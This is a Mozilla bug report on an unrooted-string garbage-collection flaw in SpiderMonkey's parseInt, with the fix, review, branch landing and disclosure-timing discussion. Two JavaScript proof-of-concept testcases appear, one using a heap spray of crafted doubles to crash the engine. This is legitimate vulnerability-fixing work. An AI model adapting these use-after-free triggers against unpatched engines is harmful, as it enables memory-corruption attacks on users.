313479 - Unrooted access in jsnum.c

Status: VERIFIED FIXED

(Core :: JavaScript Engine, defect, P1)

Description

[Igor Bukanov]

num_parseInt from jsnum.c does not root "str", the result of js_ValueToString applied to the first argument before calling js_ValueToECMAInt32 on the second argument and using "str" later.

The following example exposes the bug:

var prepared_string = String(1);
String(2); // To remove prepared_string from newborn

var likeString = {
	toString: function() {
		var tmp = prepared_string;
		prepared_string = null;
		return tmp;
	}
};

var likeNumber = {
	valueOf: function() {
		gc();
		return 10;
	}
}

var expected = 1;
var actual = parseInt(likeString, likeNumber);
print("expected="+expected+" actual="+actual);

Comment 1

[Igor Bukanov]

Here is a version of the above testcase that crashes shell/browser through subversion double->JSDependantString subversion:

var prepared_string = String(1);
String(2); // To remove prepared_string from newborn

var likeString = {
	toString: function() {
		var tmp = prepared_string;
		prepared_string = null;
		return tmp;
	}
};

ONE = 1.0;

var likeNumber = {
	valueOf: function() {
		if (typeof gc == "function") gc();
		for (var i = 0; i != 40000; ++i) {
			// Populate heap with double value that when 
			// interpreted as JSString would produce a dependant
			// string.
			var tmp = 8.3079035298075175e-263 * ONE;
			tmp = null;
		}
		return 10;
	}
}

var expected = 1;
var actual = parseInt(likeString, likeNumber);
print("expected="+expected+" actual="+actual);

Comment 2

[Brendan Eich [:brendan]]

Attachment: fix

Reorder to get radix (non-GC'ed primitive type) before computing str.

/be

Comment 3

[Brendan Eich [:brendan]]

Comment on attachment 200528 [details] [diff] [review]
fix

Checked in on the trunk, nominating patch for branch approval tomorrow.

/be

Comment 4

[Brendan Eich [:brendan]]

Fixed on the trunk.

/be

Comment 5

[Asa Dotzler [:asa]]

Code freeze for 1.5 RC1 is tonight at midnight. 

Comment 6

[Brendan Eich [:brendan]]

Asa: you'll have to approve this by then, and someone will have to check it in.  I'm not free much today, and shaver hasn't "sr'd" (JS doesn't have super-review, but we're trying to be careful).  Your call.

/be

Comment 7

[Igor Bukanov]

(In reply to comment #5)
> Code freeze for 1.5 RC1 is tonight at midnight. 
> 

BTW, would these bugs be visible in RC1 change logs? I would prefer NOBODY gets even slightest hint about their existence until 1.0.8 or even later since they may get hints how to look for exploits. They were quite dormant for long time and it would be better to open the box at least in an apparently sealed bunker ;).

Comment 8

[Mike Shaver (:shaver emeritus)]

Comment on attachment 200528 [details] [diff] [review]
fix

sr=shaver

Comment 9

[Mike Schroepfer]

Comment on attachment 200528 [details] [diff] [review]
fix

Approving since it is r and sr'd and already discussed at triage meeting today.

Shaver or Igor any way you can land if Brendan can't?

Comment 10

[Scott MacGregor]

I landed this on the branch. It's already in the trunk so I'm going to resolve this as fixed.

Comment 11

[Bob Clary [:bc] (inactive)]

Attachment: js1_5/Regress/regress-313479.js

Comment 12

[Daniel Veditz [:dveditz]]

(In reply to comment #7)
> BTW, would these bugs be visible in RC1 change logs? I would prefer NOBODY gets
> even slightest hint about their existence until 1.0.8 or even later since they
> may get hints how to look for exploits.

Unfortunately they are, but hopefully cryptic enough (weekend changes):
http://bonsai.mozilla.org/cvsquery.cgi?treeid=default&module=all&branch=MOZILLA_1_8_BRANCH&branchtype=match&dir=mozilla%2Fjs&file=&filetype=match&who=&whotype=match&sortby=Date&hours=2&date=explicit&mindate=2005-10-22&maxdate=2005-10-24&cvsroot=%2Fcvsroot

If you're not specifically looking for js changes (or watching brendan) you'd have to find them in this (same time range):
http://bonsai.mozilla.org/cvsquery.cgi?treeid=default&module=all&branch=MOZILLA_1_8_BRANCH&branchtype=match&dir=&file=&filetype=match&who=&whotype=match&sortby=Date&hours=2&date=explicit&mindate=2005-10-22&maxdate=2005-10-24&cvsroot=%2Fcvsroot

but the buglinks will go to inaccessible bugs, so it wouldn't be rocket science if someone's actively probing for unpatched (in 1.0) security holes. Things are worse when we do prepare a 1.0.8 (soon): that branch is all security fixes so these will be easier to notice, and many non-browser projects rely on the spidermonkey engine and won't be able to upgrade immediately. Worse, we don't necessarily know who they all are to give them a warning this is coming.

Comment 13

[Bob Clary [:bc] (inactive)]

on winxp,

1.8b5_2005102412: pass

1.9a1_2005102413: fail

STATUS: Root access in jsnum.c
STATUS: expect=1 actual=NaN
Failure messages were:
FAILED!: Root access in jsnum.c
FAILED!: Expected value '1', Actual value 'NaN' 

Comment 14

[Bob Clary [:bc] (inactive)]

(In reply to comment #13)
ignore this. I can't reproduce with fresh builds.

Comment 15

[Bob Clary [:bc] (inactive)]

verified firefox 1.5 rc2 linux/win32 2005-11-07

Comment 16

[Bob Clary [:bc] (inactive)]

testcase+ to get this off my radar. when this is made public, i will check in the test.

Comment 17

[Blake Kaplan (:mrbkap) (inactive)]

Fix checked into the 1.7 branches.

Comment 18

[Bob Clary [:bc] (inactive)]

verified firefox/1.7.13,1.8.0.1,1.8,1.9a1 win/linux/mac

Comment 19

[Bob Clary [:bc] (inactive)]

v ff on 1.7.13, 1.8.0.1, 1.8, 1.9a1 windows/linux/mac 20060221 builds, moz on 1.7.13 windows 20060221 build.

Comment 20

[Bob Clary [:bc] (inactive)]

RCS file: /cvsroot/mozilla/js/tests/js1_5/GC/regress-313479.js,v
done
Checking in regress-313479.js;
/cvsroot/mozilla/js/tests/js1_5/GC/regress-313479.js,v  <--  regress-313479.js
initial revision: 1.1
done